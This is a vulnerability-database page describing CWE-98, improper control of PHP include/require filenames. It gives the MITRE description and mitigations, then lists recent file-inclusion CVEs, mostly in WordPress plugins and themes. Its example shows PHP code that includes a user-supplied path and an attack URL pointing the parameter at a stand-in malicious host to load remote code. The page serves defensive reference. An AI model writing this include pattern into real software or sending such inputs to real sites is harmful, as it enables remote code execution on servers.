Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1336 CNY

100%

CWE-98 (PHP程序中Include/Require语句包含文件控制不恰当(PHP远程文件包含)) — Vulnerability Class 1229

1229 vulnerabilities classified as CWE-98 (PHP程序中Include/Require语句包含文件控制不恰当(PHP远程文件包含)). AI Chinese analysis included.

CWE-98 represents a critical input validation weakness where PHP applications fail to properly sanitize user-supplied data before passing it to include or require functions. Attackers typically exploit this by injecting malicious URLs or local file paths, enabling Remote File Inclusion (RFI) or Local File Inclusion (LFI). This allows adversaries to execute arbitrary code hosted on external servers or access sensitive system files, often leading to full server compromise. To mitigate this risk, developers must strictly validate and whitelist allowed filenames or paths, ensuring only expected local resources are included. Additionally, disabling the allow_url_include and allow_url_fopen directives in the PHP configuration prevents the inclusion of remote files entirely. Implementing robust input validation and adhering to the principle of least privilege significantly reduces the attack surface associated with dynamic file inclusion mechanisms.

MITRE CWE Description
The PHP application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in "require," "include," or similar functions. In certain versions and configurations of PHP, this can allow an attacker to specify a URL to a remote location from which the product will obtain the code to execute. In other cases in association with path traversal, the attacker can specify a local file that may contain executable statements that can be parsed by PHP.
Common Consequences (1)
Integrity, Confidentiality, AvailabilityExecute Unauthorized Code or Commands
The attacker may be able to specify arbitrary code to be executed from a remote location. Alternatively, it may be possible to use normal program behavior to insert php code into files on the local machine which can then be included and force the code to execute since php ignores everything in the f…
Mitigations (5)
Architecture and DesignUse a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Architecture and DesignWhen the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Architecture and DesignFor any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Architecture and Design, OperationRun the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For ex…
Effectiveness: Limited
Architecture and Design, OperationRun your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database ad…
Examples (1)
The following code, victim.php, attempts to include a function contained in a separate PHP page on the server. It builds the path to the file by using the supplied 'module_name' parameter and appending the string '/function.php' to it.
$dir = $_GET['module_name']; include($dir . "/function.php");
Bad · PHP
victim.php?module_name=http://malicious.example.com
Attack
CVE IDTitleCVSSSeverityPublished
CVE-2016-20079 WordPress Dharma Booking 2.28.3 Local File Inclusion via proccess.php — Dharma Booking 6.2 Medium2026-06-15
CVE-2016-20077 WordPress Plugin Photocart Link 1.6 Local File Inclusion via decode.php — Photocart Link 6.2 Medium2026-06-15
CVE-2016-20064 WP Vault 0.8.6.6 Local File Inclusion via wpv-image Parameter — WP Vault 6.2 Medium2026-06-09
CVE-2026-9662 Recover Exit For WooCommerce <= 1.0.3 - Unauthenticated Local File Inclusion via 'tpf' Parameter — Recover Exit For WooCommerce 8.1 High2026-06-09
CVE-2025-68886 WordPress Cookiteer theme <= 1.4.8 - Local File Inclusion vulnerability — Cookiteer 8.1 High2026-06-02
CVE-2025-69369 WordPress Racquet theme <= 1.12.0 - Local File Inclusion vulnerability — Racquet 8.1 High2026-06-02
CVE-2025-58897 WordPress Fermentio theme <= 1.5.0 - Local File Inclusion vulnerability — Fermentio 8.1 High2026-06-02
CVE-2025-58707 WordPress Spin theme <= 1.8 - Local File Inclusion vulnerability — Spin 8.1 High2026-06-02
CVE-2026-39553 WordPress WaveRide theme <= 1.4 - Local File Inclusion vulnerability — WaveRide 8.1 High2026-06-02
CVE-2026-39552 WordPress Blueprint theme < 1.1.5 - Local File Inclusion vulnerability — Blueprint 8.1 High2026-06-02
CVE-2025-58705 WordPress Crafti theme <= 1.12 - Local File Inclusion vulnerability — Crafti 8.1 High2026-06-02
CVE-2025-58024 WordPress Accordion FAQ Plugin <= 2.2.1 - Local File Inclusion Vulnerability — Accordion FAQ 7.5 High2026-06-02
CVE-2025-53440 WordPress Confidant theme <= 1.4 - Local File Inclusion vulnerability — Confidant 8.1 High2026-06-02
CVE-2026-44239 FreePBX: Authenticated Local File Inclusion in Dashboard Module — security-reporting--2026-05-29
CVE-2026-48972 WordPress SeedProd Pro plugin < 6.19.5 - Local File Inclusion vulnerability — SeedProd Pro 7.5 High2026-05-27
CVE-2026-9200 Query Shortcode <= 0.2.1 - Authenticated (Contributor+) Local File Inclusion via 'lens' Shortcode Attribute — Query Shortcode 7.5 High2026-05-27
CVE-2026-48133 Identity Awareness Captive Portal - Unauthenticated Local File Inclusion — Quantum Security Gateway 7.5 High2026-05-26
CVE-2026-39661 WordPress SW Core plugin <= 1.7.18 - Local File Inclusion vulnerability — SW Core 7.5 High2026-05-26
CVE-2026-8134 Concrete CMS 9.5.0 and below is vulnerable to Authenticated RCE via Composer customTemplate Path Traversal leading to PHP File Inclusion — Concrete CMS--2026-05-21
CVE-2026-7522 Advanced Database Cleaner – Premium <= 4.1.0 - Authenticated (Subscriber+) Local File Inclusion via 'template' — Advanced Database Cleaner – Premium 8.8 High2026-05-20
CVE-2018-25329 WordPress Plugin WP with Spritz 1.0 Remote File Inclusion — WP with Spritz 7.5 High2026-05-17
CVE-2018-25324 Simple Fields 0.2-0.3.5 Local File Inclusion via wp_abspath — Simple Fields 6.2 Medium2026-05-17
CVE-2021-47978 ProcessMaker 3.5.4 Local File Inclusion via Path Traversal — ProcessMaker 6.2 Medium2026-05-16
CVE-2020-37246 WordPress Plugin Supsystic Backup 2.3.9 Local File Inclusion — Backup 6.2 Medium2026-05-16
CVE-2020-37169 WordPress Plugin ultimate-member 2.1.3 Local File Inclusion — ultimate-member 5.5 Medium2026-05-13
CVE-2026-3425 RTMKit Addons for Elementor <= 2.0.2 - Authenticated (Author+) Local File Inclusion via 'path' — RTMKit 8.8 High2026-05-13
CVE-2022-50954 WordPress Plugin cab-fare-calculator 1.0.3 Local File Inclusion — cab-fare-calculator 6.2 Medium2026-05-10
CVE-2026-8208 Gibbon 安全漏洞 — gibbon 8.8 -2026-05-09
CVE-2026-41228 Froxlor has Local File Inclusion via path traversal in API `def_language` parameter that leads to Remote Code Execution — froxlor 10.0 Critical2026-04-23
CVE-2026-1620 Livemesh Addons by Elementor <= 9.0 - Authenticated (Contributor+) Local File Inclusion via Widget Template Parameter — Livemesh Addons by Elementor 8.8 High2026-04-16

Vulnerabilities classified as CWE-98 (PHP程序中Include/Require语句包含文件控制不恰当(PHP远程文件包含)) represent 1229 CVEs. The CWE taxonomy describes the weakness; review individual CVEs for product-specific impact.